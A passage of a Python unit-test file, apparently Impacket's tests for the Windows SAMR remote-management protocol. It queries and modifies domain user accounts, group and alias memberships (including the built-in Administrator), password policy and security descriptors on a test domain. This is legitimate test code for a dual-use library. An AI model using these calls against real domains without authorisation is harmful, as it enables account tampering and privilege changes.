resp = samr.hSamrQueryInformationUser2(dce, userHandle,samr.USER_INFORMATION_CLASS.UserControlInformation)
resp.dump()
resp = samr.hSamrQueryInformationUser2(dce, userHandle,samr.USER_INFORMATION_CLASS.UserExpiresInformation)
resp.dump()
resp = samr.hSamrQueryInformationUser2(dce, userHandle,samr.USER_INFORMATION_CLASS.UserParametersInformation)
resp.dump()
################################################################################
resp = samr.hSamrQueryInformationUser2(dce, userHandle,samr.USER_INFORMATION_CLASS.UserAllInformation)
resp.dump()
def test_SamrQueryInformationUser_SamrSetInformationUser(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrOpenUser()
request['DomainHandle'] = domainHandle
request['DesiredAccess'] = samr.USER_READ_GENERAL | samr.USER_READ_PREFERENCES | samr.USER_READ_ACCOUNT | samr.USER_ALL_ACCESS | samr.USER_READ
request['UserId'] = samr.DOMAIN_USER_RID_ADMIN
resp = dce.request(request)
resp.dump()
request = samr.SamrQueryInformationUser()
request['UserHandle'] = resp['UserHandle']
userHandle = resp['UserHandle']
request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserGeneralInformation
#request.dump()
resp = dce.request(request)
resp.dump()
################################################################################
request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserPreferencesInformation
#request.dump()
resp = dce.request(request)
resp.dump()
oldData = resp['Buffer']['Preferences']['UserComment']
req = samr.SamrSetInformationUser()
req['UserHandle'] = userHandle
req['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserPreferencesInformation
req['Buffer'] = resp['Buffer']
req['Buffer']['Preferences']['UserComment'] = 'BETO'
resp = dce.request(req)
resp.dump()
resp = dce.request(request)
resp.dump()
self.assertTrue( 'BETO' == resp['Buffer']['Preferences']['UserComment'])
req['Buffer']['Preferences']['UserComment'] = oldData
resp = dce.request(req)
resp.dump()
request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserLogonInformation
#request.dump()
resp = dce.request(request)
resp.dump()
request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserLogonHoursInformation
#request.dump()
resp = dce.request(request)
resp.dump()
request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserAccountInformation
#request.dump()
resp = dce.request(request)
resp.dump()
request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserNameInformation
#request.dump()
resp = dce.request(request)
resp.dump()
request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserAccountNameInformation
#request.dump()
resp = dce.request(request)
resp.dump()
request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserFullNameInformation
#request.dump()
resp = dce.request(request)
resp.dump()
request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserPrimaryGroupInformation
#request.dump()
resp = dce.request(request)
resp.dump()
request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserHomeInformation
#request.dump()
resp = dce.request(request)
resp.dump()
request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserScriptInformation
#request.dump()
resp = dce.request(request)
resp.dump()
request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserProfileInformation
#request.dump()
resp = dce.request(request)
resp.dump()
request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserAdminCommentInformation
#request.dump()
resp = dce.request(request)
resp.dump()
request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserWorkStationsInformation
#request.dump()
resp = dce.request(request)
resp.dump()
request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserControlInformation
#request.dump()
resp = dce.request(request)
resp.dump()
request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserExpiresInformation
#request.dump()
resp = dce.request(request)
resp.dump()
request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserInternal1Information
#request.dump()
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('STATUS_INVALID_INFO_CLASS') < 0:
raise
pass
request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserParametersInformation
#request.dump()
resp = dce.request(request)
resp.dump()
request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserAllInformation
#request.dump()
resp = dce.request(request)
resp.dump()
request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserInternal4Information
#request.dump()
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('STATUS_INVALID_INFO_CLASS') < 0:
raise
pass
request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserInternal5Information
#request.dump()
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('STATUS_INVALID_INFO_CLASS') < 0:
raise
pass
request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserInternal4InformationNew
#request.dump()
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('STATUS_INVALID_INFO_CLASS') < 0:
raise
pass
request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserInternal5InformationNew
#request.dump()
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('STATUS_INVALID_INFO_CLASS') < 0:
raise
pass
def test_SamrAddMemberToGroup_SamrRemoveMemberFromGroup(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrConnect()
request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED
request['ServerName'] = u'BETO\x00'
resp = dce.request(request)
request = samr.SamrOpenGroup()
request['DomainHandle'] = domainHandle
request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED
request['GroupId'] = samr.DOMAIN_GROUP_RID_USERS
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('STATUS_NO_SUCH_DOMAIN') < 0:
raise
request = samr.SamrRemoveMemberFromGroup()
request['GroupHandle'] = resp['GroupHandle']
request['MemberId'] = samr.DOMAIN_USER_RID_ADMIN
try:
resp2 = dce.request(request)
resp2.dump()
except Exception, e:
if str(e).find('STATUS_MEMBERS_PRIMARY_GROUP') < 0:
raise
request = samr.SamrAddMemberToGroup()
request['GroupHandle'] = resp['GroupHandle']
request['MemberId'] = samr.DOMAIN_USER_RID_ADMIN
request['Attributes'] = samr.SE_GROUP_ENABLED_BY_DEFAULT
try:
resp2 = dce.request(request)
resp2.dump()
except Exception, e:
if str(e).find('STATUS_MEMBER_IN_GROUP') < 0:
raise
def test_hSamrAddMemberToGroup_hSamrRemoveMemberFromGroup(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrConnect()
request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED
request['ServerName'] = u'BETO\x00'
resp = dce.request(request)
request = samr.SamrOpenGroup()
request['DomainHandle'] = domainHandle
request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED
request['GroupId'] = samr.DOMAIN_GROUP_RID_USERS
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('STATUS_NO_SUCH_DOMAIN') < 0:
raise
try:
resp2 = samr.hSamrRemoveMemberFromGroup(dce, resp['GroupHandle'],samr.DOMAIN_USER_RID_ADMIN)
resp2.dump()
except Exception, e:
if str(e).find('STATUS_MEMBERS_PRIMARY_GROUP') < 0:
raise
try:
resp2= samr.hSamrAddMemberToGroup(dce, resp['GroupHandle'] ,samr.DOMAIN_USER_RID_ADMIN, samr.SE_GROUP_ENABLED_BY_DEFAULT)
resp2.dump()
except Exception, e:
if str(e).find('STATUS_MEMBER_IN_GROUP') < 0:
raise
def test_SamrGetMembersInGroup(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrOpenGroup()
request['DomainHandle'] = domainHandle
request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED
request['GroupId'] = samr.DOMAIN_GROUP_RID_USERS
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('STATUS_NO_SUCH_DOMAIN') < 0:
raise
request = samr.SamrGetMembersInGroup()
request['GroupHandle'] = resp['GroupHandle']
resp = dce.request(request)
resp.dump()
def test_hSamrGetMembersInGroup(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrOpenGroup()
request['DomainHandle'] = domainHandle
request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED
request['GroupId'] = samr.DOMAIN_GROUP_RID_USERS
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('STATUS_NO_SUCH_DOMAIN') < 0:
raise
resp = samr.hSamrGetMembersInGroup(dce, resp['GroupHandle'])
resp.dump()
def test_SamrGetMembersInAlias(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrEnumerateAliasesInDomain()
request['DomainHandle'] = domainHandle
request['EnumerationContext'] = 0
request['PreferedMaximumLength'] = 500
status = nt_errors.STATUS_MORE_ENTRIES
while status == nt_errors.STATUS_MORE_ENTRIES:
try:
resp4 = dce.request(request)
except Exception, e:
if str(e).find('STATUS_MORE_ENTRIES') < 0:
raise
resp4 = e.get_packet()
resp4['Buffer'].dump()
request['EnumerationContext'] = resp4['EnumerationContext']
status = resp4['ErrorCode']
request = samr.SamrOpenAlias()
request['DomainHandle'] = domainHandle
request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED
request['AliasId'] = resp4['Buffer']['Buffer'][0]['RelativeId']
resp = dce.request(request)
resp.dump()
request = samr.SamrGetMembersInAlias()
request['AliasHandle'] = resp['AliasHandle']
resp = dce.request(request)
resp.dump()
def test_hSamrGetMembersInAlias(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrEnumerateAliasesInDomain()
request['DomainHandle'] = domainHandle
request['EnumerationContext'] = 0
request['PreferedMaximumLength'] = 500
status = nt_errors.STATUS_MORE_ENTRIES
while status == nt_errors.STATUS_MORE_ENTRIES:
try:
resp4 = dce.request(request)
except Exception, e:
if str(e).find('STATUS_MORE_ENTRIES') < 0:
raise
resp4 = e.get_packet()
resp4['Buffer'].dump()
request['EnumerationContext'] = resp4['EnumerationContext']
status = resp4['ErrorCode']
request = samr.SamrOpenAlias()
request['DomainHandle'] = domainHandle
request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED
request['AliasId'] = resp4['Buffer']['Buffer'][0]['RelativeId']
resp = dce.request(request)
resp.dump()
resp = samr.hSamrGetMembersInAlias(dce, resp['AliasHandle'])
resp.dump()
def test_SamrAddMemberToAlias_SamrRemoveMemberFromAlias(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrCreateAliasInDomain()
request['DomainHandle'] = domainHandle
request['AccountName'] = 'testGroup'
request['DesiredAccess'] = samr.GROUP_ALL_ACCESS | samr.DELETE
#request.dump()
resp = dce.request(request)
aliasHandle = resp['AliasHandle']
relativeId = resp['RelativeId']
resp.dump()
request = samr.SamrRidToSid()
request['ObjectHandle'] = domainHandle
request['Rid'] = relativeId
resp3 = dce.request(request)
resp3.dump()
# Let's extract the SID and remove the RID from one entry
sp = resp3['Sid'].formatCanonical()
domainID = '-'.join(sp.split('-')[:-1])
adminSID = domainID + '-%d' % samr.DOMAIN_USER_RID_ADMIN
sid = samr.RPC_SID()
sid.fromCanonical(adminSID)
request = samr.SamrAddMemberToAlias()
request['AliasHandle'] = aliasHandle
request['MemberId'] = sid
resp2 = dce.request(request)
resp2.dump()
request = samr.SamrRemoveMemberFromAlias()
request['AliasHandle'] = aliasHandle
request['MemberId'] = sid
resp2 = dce.request(request)
resp2.dump()
request = samr.SamrDeleteAlias()
request['AliasHandle'] = aliasHandle
resp = dce.request(request)
def test_hSamrAddMemberToAlias_hSamrRemoveMemberFromAlias(self):
dce, rpctransport, domainHandle = self.connect()
resp = samr.hSamrCreateAliasInDomain(dce, domainHandle, 'testGroup', samr.GROUP_ALL_ACCESS | samr.DELETE)
resp.dump()
aliasHandle = resp['AliasHandle']
relativeId = resp['RelativeId']
resp.dump()
request = samr.SamrRidToSid()
request['ObjectHandle'] = domainHandle
request['Rid'] = relativeId
resp3 = dce.request(request)
resp3.dump()
# Let's extract the SID and remove the RID from one entry
sp = resp3['Sid'].formatCanonical()
domainID = '-'.join(sp.split('-')[:-1])
adminSID = domainID + '-%d' % samr.DOMAIN_USER_RID_ADMIN
sid = samr.RPC_SID()
sid.fromCanonical(adminSID)
resp2 = samr.hSamrAddMemberToAlias(dce, aliasHandle, sid)
resp2.dump()
resp2 = samr.hSamrRemoveMemberFromAlias(dce, aliasHandle, sid)
resp2.dump()
resp = samr.hSamrDeleteAlias(dce, aliasHandle)
resp.dump()
def test_SamrAddMultipleMembersToAlias_SamrRemoveMultipleMembersFromAliass(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrCreateAliasInDomain()
request['DomainHandle'] = domainHandle
request['AccountName'] = 'testGroup'
request['DesiredAccess'] = samr.GROUP_ALL_ACCESS | samr.DELETE
#request.dump()
resp = dce.request(request)
aliasHandle = resp['AliasHandle']
relativeId = resp['RelativeId']
resp.dump()
request = samr.SamrRidToSid()
request['ObjectHandle'] = domainHandle
request['Rid'] = relativeId
resp3 = dce.request(request)
resp3.dump()
# Let's extract the SID and remove the RID from one entry
sp = resp3['Sid'].formatCanonical()
domainID = '-'.join(sp.split('-')[:-1])
adminSID = domainID + '-%d' % samr.DOMAIN_USER_RID_ADMIN
sid = samr.RPC_SID()
sid.fromCanonical(adminSID)
sid = samr.RPC_SID()
sid.fromCanonical(adminSID)
guestSID = domainID + '-%d' % samr.DOMAIN_USER_RID_GUEST
sid1 = samr.RPC_SID()
sid1.fromCanonical(adminSID)
sid2 = samr.RPC_SID()
sid2.fromCanonical(guestSID)
si = samr.PSAMPR_SID_INFORMATION()
si['SidPointer'] = sid1
si2 = samr.PSAMPR_SID_INFORMATION()
si2['SidPointer'] = sid2
request = samr.SamrAddMultipleMembersToAlias()
request['AliasHandle'] = aliasHandle
request['MembersBuffer']['Count'] = 2
request['MembersBuffer']['Sids'].append(si)
request['MembersBuffer']['Sids'].append(si2)
#request.dump()
resp2 = dce.request(request)
resp2.dump()
request = samr.SamrRemoveMultipleMembersFromAlias()
request['AliasHandle'] = resp['AliasHandle']
request['MembersBuffer']['Count'] = 2
request['MembersBuffer']['Sids'].append(si)
request['MembersBuffer']['Sids'].append(si2)
resp2 = dce.request(request)
resp2.dump()
request = samr.SamrDeleteAlias()
request['AliasHandle'] = aliasHandle
resp = dce.request(request)
def test_hSamrAddMultipleMembersToAlias_hSamrRemoveMultipleMembersFromAliass(self):
dce, rpctransport, domainHandle = self.connect()
#resp = samr.hSamrEnumerateAliasesInDomain(dce, domainHandle)
#resp = samr.hSamrOpenAlias(dce, domainHandle, samr.DELETE, 1257)
#resp = samr.hSamrDeleteAlias(dce, resp['AliasHandle'])
resp = samr.hSamrCreateAliasInDomain(dce, domainHandle, 'testGroup', samr.GROUP_ALL_ACCESS | samr.DELETE)
aliasHandle = resp['AliasHandle']
relativeId = resp['RelativeId']
resp.dump()
request = samr.SamrRidToSid()
request['ObjectHandle'] = domainHandle
request['Rid'] = relativeId
resp3 = dce.request(request)
resp3.dump()
# Let's extract the SID and remove the RID from one entry
sp = resp3['Sid'].formatCanonical()
domainID = '-'.join(sp.split('-')[:-1])
adminSID = domainID + '-%d' % samr.DOMAIN_USER_RID_ADMIN
sid = samr.RPC_SID()
sid.fromCanonical(adminSID)
sid = samr.RPC_SID()
sid.fromCanonical(adminSID)
guestSID = domainID + '-%d' % samr.DOMAIN_USER_RID_GUEST
sid1 = samr.RPC_SID()
sid1.fromCanonical(adminSID)
sid2 = samr.RPC_SID()
sid2.fromCanonical(guestSID)
si = samr.PSAMPR_SID_INFORMATION()
si['SidPointer'] = sid1
si2 = samr.PSAMPR_SID_INFORMATION()
si2['SidPointer'] = sid2
sidArray = samr.SAMPR_PSID_ARRAY()
sidArray['Sids'].append(si)
sidArray['Sids'].append(si2)
resp = samr.hSamrAddMultipleMembersToAlias(dce, aliasHandle, sidArray)
resp.dump()
resp = samr.hSamrRemoveMultipleMembersFromAlias(dce, aliasHandle, sidArray)
resp.dump()
request = samr.SamrDeleteAlias()
request['AliasHandle'] = aliasHandle
resp = dce.request(request)
def test_SamrRemoveMemberFromForeignDomain(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrCreateAliasInDomain()
request['DomainHandle'] = domainHandle
request['AccountName'] = 'testGroup'
request['DesiredAccess'] = samr.GROUP_ALL_ACCESS | samr.DELETE
#request.dump()
resp = dce.request(request)
aliasHandle = resp['AliasHandle']
relativeId = resp['RelativeId']
resp.dump()
request = samr.SamrRidToSid()
request['ObjectHandle'] = domainHandle
request['Rid'] = relativeId
resp3 = dce.request(request)
resp3.dump()
# Let's extract the SID and remove the RID from one entry
sp = resp3['Sid'].formatCanonical()
domainID = '-'.join(sp.split('-')[:-1])
adminSID = domainID + '-%d' % samr.DOMAIN_USER_RID_ADMIN
request = samr.SamrRemoveMemberFromForeignDomain()
request['DomainHandle'] = domainHandle
request['MemberSid'].fromCanonical(adminSID)
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('STATUS_SPECIAL_ACCOUNT') < 0:
raise
request = samr.SamrDeleteAlias()
request['AliasHandle'] = aliasHandle
resp = dce.request(request)
def test_hSamrRemoveMemberFromForeignDomain(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrCreateAliasInDomain()
request['DomainHandle'] = domainHandle
request['AccountName'] = 'testGroup'
request['DesiredAccess'] = samr.GROUP_ALL_ACCESS | samr.DELETE
#request.dump()
resp = dce.request(request)
aliasHandle = resp['AliasHandle']
relativeId = resp['RelativeId']
resp.dump()
request = samr.SamrRidToSid()
request['ObjectHandle'] = domainHandle
request['Rid'] = relativeId
resp3 = dce.request(request)
resp3.dump()
# Let's extract the SID and remove the RID from one entry
sp = resp3['Sid'].formatCanonical()
domainID = '-'.join(sp.split('-')[:-1])
adminSID = domainID + '-%d' % samr.DOMAIN_USER_RID_ADMIN
sid = samr.RPC_SID()
sid.fromCanonical(adminSID)
try:
resp= samr.hSamrRemoveMemberFromForeignDomain(dce, domainHandle, sid)
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('STATUS_SPECIAL_ACCOUNT') < 0:
raise
request = samr.SamrDeleteAlias()
request['AliasHandle'] = aliasHandle
resp = dce.request(request)
def test_SamrGetAliasMembership(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrCreateAliasInDomain()
request['DomainHandle'] = domainHandle
request['AccountName'] = 'testGroup'
request['DesiredAccess'] = samr.GROUP_ALL_ACCESS | samr.DELETE
#request.dump()
resp = dce.request(request)
aliasHandle = resp['AliasHandle']
relativeId = resp['RelativeId']
resp.dump()
request = samr.SamrRidToSid()
request['ObjectHandle'] = domainHandle
request['Rid'] = relativeId
resp3 = dce.request(request)
resp3.dump()
# Let's extract the SID and remove the RID from one entry
sp = resp3['Sid'].formatCanonical()
domainID = '-'.join(sp.split('-')[:-1])
adminSID = domainID + '-%d' % samr.DOMAIN_USER_RID_ADMIN
sid = samr.RPC_SID()
sid.fromCanonical(adminSID)
guestSID = domainID + '-%d' % samr.DOMAIN_USER_RID_GUEST
sid1 = samr.RPC_SID()
sid1.fromCanonical(adminSID)
sid2 = samr.RPC_SID()
sid2.fromCanonical(guestSID)
si = samr.PSAMPR_SID_INFORMATION()
si['SidPointer'] = sid1
si2 = samr.PSAMPR_SID_INFORMATION()
si2['SidPointer'] = sid2
request = samr.SamrGetAliasMembership()
request['DomainHandle'] = domainHandle
request['SidArray']['Count'] = 2
request['SidArray']['Sids'].append(si)
request['SidArray']['Sids'].append(si2)
resp = dce.request(request)
resp.dump()
request = samr.SamrDeleteAlias()
request['AliasHandle'] = aliasHandle
resp = dce.request(request)
def test_hSamrGetAliasMembership(self):
dce, rpctransport, domainHandle = self.connect()
#resp = samr.hSamrEnumerateAliasesInDomain(dce, domainHandle)
#resp = samr.hSamrOpenAlias(dce, domainHandle, samr.DELETE, 1268)
#resp = samr.hSamrDeleteAlias(dce, resp['AliasHandle'])
request = samr.SamrCreateAliasInDomain()
request['DomainHandle'] = domainHandle
request['AccountName'] = 'testGroup'
request['DesiredAccess'] = samr.GROUP_ALL_ACCESS | samr.DELETE
#request.dump()
resp = dce.request(request)
aliasHandle = resp['AliasHandle']
relativeId = resp['RelativeId']
resp.dump()
request = samr.SamrRidToSid()
request['ObjectHandle'] = domainHandle
request['Rid'] = relativeId
resp3 = dce.request(request)
resp3.dump()
# Let's extract the SID and remove the RID from one entry
sp = resp3['Sid'].formatCanonical()
domainID = '-'.join(sp.split('-')[:-1])
adminSID = domainID + '-%d' % samr.DOMAIN_USER_RID_ADMIN
sid = samr.RPC_SID()
sid.fromCanonical(adminSID)
guestSID = domainID + '-%d' % samr.DOMAIN_USER_RID_GUEST
sid1 = samr.RPC_SID()
sid1.fromCanonical(adminSID)
sid2 = samr.RPC_SID()
sid2.fromCanonical(guestSID)
si = samr.PSAMPR_SID_INFORMATION()
si['SidPointer'] = sid1
si2 = samr.PSAMPR_SID_INFORMATION()
si2['SidPointer'] = sid2
sidsArray = samr.SAMPR_PSID_ARRAY()
sidsArray['Sids'].append(si)
sidsArray['Sids'].append(si2)
try:
resp = samr.hSamrGetAliasMembership(dce, domainHandle, sidsArray)
resp.dump()
except Exception, e:
request = samr.SamrDeleteAlias()
request['AliasHandle'] = aliasHandle
resp = dce.request(request)
raise
request = samr.SamrDeleteAlias()
request['AliasHandle'] = aliasHandle
resp = dce.request(request)
def test_SamrSetMemberAttributesOfGroup(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrConnect()
request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED
request['ServerName'] = u'BETO\x00'
resp = dce.request(request)
request = samr.SamrOpenGroup()
request['DomainHandle'] = domainHandle
request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED
request['GroupId'] = samr.DOMAIN_GROUP_RID_USERS
resp = dce.request(request)
request = samr.SamrSetMemberAttributesOfGroup()
request['GroupHandle'] = resp['GroupHandle']
request['MemberId'] = samr.DOMAIN_USER_RID_ADMIN
request['Attributes'] = samr.SE_GROUP_ENABLED_BY_DEFAULT
resp = dce.request(request)
resp.dump()
def test_hSamrSetMemberAttributesOfGroup(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrConnect()
request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED
request['ServerName'] = u'BETO\x00'
resp = dce.request(request)
request = samr.SamrOpenGroup()
request['DomainHandle'] = domainHandle
request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED
request['GroupId'] = samr.DOMAIN_GROUP_RID_USERS
resp = dce.request(request)
resp = samr.hSamrSetMemberAttributesOfGroup(dce, resp['GroupHandle'],samr.DOMAIN_USER_RID_ADMIN, samr.SE_GROUP_ENABLED_BY_DEFAULT)
resp.dump()
def test_SamrGetUserDomainPasswordInformation(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrOpenUser()
request['DomainHandle'] = domainHandle
request['DesiredAccess'] = samr.USER_READ_GENERAL | samr.USER_READ_PREFERENCES | samr.USER_READ_ACCOUNT
request['UserId'] = samr.DOMAIN_USER_RID_ADMIN
resp = dce.request(request)
request = samr.SamrGetUserDomainPasswordInformation()
request['UserHandle'] = resp['UserHandle']
resp = dce.request(request)
resp.dump()
def test_hSamrGetUserDomainPasswordInformation(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrOpenUser()
request['DomainHandle'] = domainHandle
request['DesiredAccess'] = samr.USER_READ_GENERAL | samr.USER_READ_PREFERENCES | samr.USER_READ_ACCOUNT
request['UserId'] = samr.DOMAIN_USER_RID_ADMIN
resp = dce.request(request)
resp = samr.hSamrGetUserDomainPasswordInformation(dce, resp['UserHandle'])
resp.dump()
def test_SamrGetDomainPasswordInformation(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrGetDomainPasswordInformation()
request['Unused'] = NULL
resp = dce.request(request)
resp.dump()
def test_hSamrGetDomainPasswordInformation(self):
dce, rpctransport, domainHandle = self.connect()
resp = samr.hSamrGetDomainPasswordInformation(dce)
resp.dump()
def test_SamrRidToSid(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrRidToSid()
request['ObjectHandle'] = domainHandle
request['Rid'] = samr.DOMAIN_USER_RID_ADMIN
resp = dce.request(request)
def test_hSamrRidToSid(self):
dce, rpctransport, domainHandle = self.connect()
resp = samr.hSamrRidToSid(dce, domainHandle, samr.DOMAIN_USER_RID_ADMIN)
resp.dump()
def test_SamrSetDSRMPassword(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrSetDSRMPassword()
request['Unused'] = NULL
request['UserId'] = samr.DOMAIN_USER_RID_ADMIN
request['EncryptedNtOwfPassword'] = '\x00'*16
# calls made to SamrSetDSRMPassword using NCACN_IP_TCP are rejected with RPC_S_ACCESS_DENIED.
try:
resp = dce.request(request)
except Exception, e:
if self.stringBinding.find('ncacn_ip_tcp') >=0:
if str(e).find('rpc_s_access_denied') < 0:
raise
elif str(e).find('STATUS_NOT_SUPPORTED') < 0:
raise
def test_SamrValidatePassword(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrValidatePassword()
request['ValidationType'] = samr.PASSWORD_POLICY_VALIDATION_TYPE.SamValidatePasswordReset
request['InputArg']['tag'] = samr.PASSWORD_POLICY_VALIDATION_TYPE.SamValidatePasswordReset
request['InputArg']['ValidatePasswordResetInput']['InputPersistedFields']['PresentFields'] = samr.SAM_VALIDATE_PASSWORD_HISTORY
request['InputArg']['ValidatePasswordResetInput']['InputPersistedFields']['PasswordHistory'] = NULL
request['InputArg']['ValidatePasswordResetInput']['ClearPassword'] = 'AAAAAAAAAAAAAAAA'
request['InputArg']['ValidatePasswordResetInput']['UserAccountName'] = 'Administrator'
kk = samr.SamrValidatePassword()
kk.fromString(str(request))
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('rpc_s_access_denied') < 0:
raise
def test_hSamrValidatePassword(self):
dce, rpctransport, domainHandle = self.connect()
inputArg = samr.SAM_VALIDATE_INPUT_ARG()
inputArg['tag'] = samr.PASSWORD_POLICY_VALIDATION_TYPE.SamValidatePasswordReset
inputArg['ValidatePasswordResetInput']['InputPersistedFields']['PresentFields'] = samr.SAM_VALIDATE_PASSWORD_HISTORY
inputArg['ValidatePasswordResetInput']['InputPersistedFields']['PasswordHistory'] = NULL
inputArg['ValidatePasswordResetInput']['ClearPassword'] = 'AAAAAAAAAAAAAAAA'
inputArg['ValidatePasswordResetInput']['UserAccountName'] = 'Administrator'
try:
resp = samr.hSamrValidatePassword(dce, inputArg)
resp.dump()
except Exception, e:
if str(e).find('rpc_s_access_denied') < 0:
raise
def test_SamrQuerySecurityObject(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrQuerySecurityObject()
request['ObjectHandle'] = domainHandle
request['SecurityInformation'] = dtypes.OWNER_SECURITY_INFORMATION | dtypes.GROUP_SECURITY_INFORMATION | dtypes.SACL_SECURITY_INFORMATION | dtypes.DACL_SECURITY_INFORMATION
resp = dce.request(request)
resp.dump()
def test_hSamrQuerySecurityObject(self):
dce, rpctransport, domainHandle = self.connect()
resp = samr.hSamrQuerySecurityObject(dce, domainHandle,dtypes.OWNER_SECURITY_INFORMATION | dtypes.GROUP_SECURITY_INFORMATION | dtypes.SACL_SECURITY_INFORMATION | dtypes.DACL_SECURITY_INFORMATION)
resp.dump()
def test_SamrSetSecurityObject(self):
dce, rpctransport, domainHandle = self.connect()
resp = samr.hSamrLookupNamesInDomain(dce, domainHandle, (self.username,))
resp.dump()
resp = samr.hSamrOpenUser(dce, domainHandle, samr.USER_ALL_ACCESS | samr.USER_READ_GROUP_INFORMATION | samr.USER_WRITE_GROUP_INFORMATION, resp['RelativeIds']['Element'][0]['Data'])
resp.dump()
userHandle = resp['UserHandle']
request = samr.SamrQuerySecurityObject()
request['ObjectHandle'] = userHandle
request['SecurityInformation'] = dtypes.GROUP_SECURITY_INFORMATION
resp = dce.request(request)
resp.dump()
request = samr.SamrSetSecurityObject()
request['ObjectHandle'] = userHandle
request['SecurityInformation'] = dtypes.GROUP_SECURITY_INFORMATION
request['SecurityDescriptor'] = resp['SecurityDescriptor']
#request.dump()
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('STATUS_BAD_DESCRIPTOR_FORMAT') <= 0:
raise
resp = samr.hSamrCloseHandle(dce, userHandle)
resp.dump()
def test_hSamrSetSecurityObject(self):
dce, rpctransport, domainHandle = self.connect()
dce, rpctransport, domainHandle = self.connect()
resp = samr.hSamrLookupNamesInDomain(dce, domainHandle, (self.username,))
resp.dump()
resp = samr.hSamrOpenUser(dce, domainHandle, samr.USER_ALL_ACCESS | samr.USER_READ_GROUP_INFORMATION | samr.USER_WRITE_GROUP_INFORMATION, resp['RelativeIds']['Element'][0]['Data'])
resp.dump()
userHandle = resp['UserHandle']
resp = samr.hSamrQuerySecurityObject(dce, userHandle, dtypes.GROUP_SECURITY_INFORMATION)
resp.dump()
try:
resp = samr.hSamrSetSecurityObject(dce, userHandle,dtypes.GROUP_SECURITY_INFORMATION ,resp['SecurityDescriptor'] )
resp.dump()
except Exception, e:
if str(e).find('STATUS_BAD_DESCRIPTOR_FORMAT') <= 0:
raise
resp = samr.hSamrCloseHandle(dce, userHandle)
resp.dump()
def test_SamrChangePasswordUser(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrCreateUser2InDomain()
request['DomainHandle'] = domainHandle
request['Name'] = 'testAccount'
request['AccountType'] = samr.USER_NORMAL_ACCOUNT
request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED | samr.USER_READ_GENERAL | samr.DELETE
#request.dump()
resp0 = dce.request(request)
resp0.dump()
oldPwd = ''
oldPwdHashNT = ntlm.NTOWFv1(oldPwd)
newPwd = 'ADMIN'
newPwdHashNT = ntlm.NTOWFv1(newPwd)
newPwdHashLM = ntlm.LMOWFv1(newPwd)
from impacket import crypto
request = samr.SamrChangePasswordUser()
request['UserHandle'] = resp0['UserHandle']
